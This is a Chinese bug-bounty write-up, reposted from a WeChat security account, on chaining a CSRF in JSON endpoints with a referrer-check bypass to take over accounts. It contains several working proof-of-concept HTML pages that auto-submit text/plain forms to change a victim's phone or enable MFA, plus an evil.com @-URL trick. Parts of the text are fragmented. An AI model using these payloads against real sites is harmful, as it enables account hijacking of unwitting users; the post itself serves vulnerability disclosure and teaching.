由于这是一个私有项目,我将使用 example.com 来代替。
很长一段时间以来,我一直想在漏洞赏金项目中找到一个账户接管(ATO)漏洞。于是,我开始探索项目范围内的 account.example.com
。
我做的第一件事就是注册一个新账号并登录到主应用程序。接着,我像往常一样,开始点击能找到的每个按钮,同时使用 Burp Suite 记录所有的流量。
请求分析
在查看 HTTP 历史记录后,我们发现以下几点:
.json
端点,例如 account.example.com/login.json
。Content-Type
头部。因此,我开始寻找应用程序中的其他漏洞。三十分钟后,我决定尝试利用这个 CSRF 漏洞。利用准备
Content-Type
头部,并且强制其为 "application/json"
。因此,让我们检查一下应用程序是否验证了这个头部..."a":"test"
。攻击方案
enctype="text/plain"
设置为表单的编码类型,并将 JSON 请求体包含在隐藏的输入字段中。为什么我们在攻击中需要添加额外的参数?因为如果你尝试像这样发送请求...<html>
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form name="hacker" method="POST" action="https://account.example.com/phone.json" enctype="text/plain">
<input type="hidden"
name= '{"_formName":"change-phone","phone":"01111111118"}'>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
name=value
格式的键值对,而我们想要发送的 JSON 并不符合这种格式。为了解决这个问题,我们可以将 name
属性设置为我们希望发送的 JSON 体内容,并添加一个随机参数来处理后续的 =
符号作为它的值,最后将 value
属性设置为 }
,以确保请求体的结构符合预期。这样可以生成符合要求的请求体,从而绕过 CSRF 保护机制。<input type="hidden" name= '{"phone":"01111111118","a":"' value='"}'>
<html>
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form name="hacker" method="POST" action="https://account.example.com/phone.json" enctype="text/plain">
<input type="hidden"
name= '{"phone":"01111111118","a":"' value='"}'>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
进一步调查
Origin
?没有问题。Content-Type
?没有问题。Referrer
?是的……Referrer
头,所以我们仍然有希望。history.pushState
函数设置头信息,仍然可以利用这个漏洞。[email protected]
这样的格式,它会成功,而这在正常范围内。@
符号后面的内容呢?我们可以尝试这样的格式: https://evil.com/[email protected]
<html>
<head><meta name="referrer" content="unsafe-url"></head>
<body>
<script>history.pushState('', '', '/')</script>
<form name="hacker" method="POST" action="https://account.example.com/phone.json" enctype="text/plain">
<input type="hidden"
name= '{"phone":"01111111118","a":"' value='"}'>
</form>
<script>
history.pushState("", "", "/[email protected]")
document.forms[0].submit();
</script>
</body>
</html>
密钥
和 一次性密码(OTP)
的请求。这将使受害者的帐户启用 MFA,从而使他们无法再次登录。结论与经验教训
application/json
内容类型的应用程序不会受到 CSRF 的影响,我差点错过了这个漏洞。我们需要尝试所有可能的方法,绝不要仅仅相信开发者的假设。声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。
原文始发于微信公众号(白帽子左一):漏洞挖掘 | 通过域混淆绕过实现账户接管
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论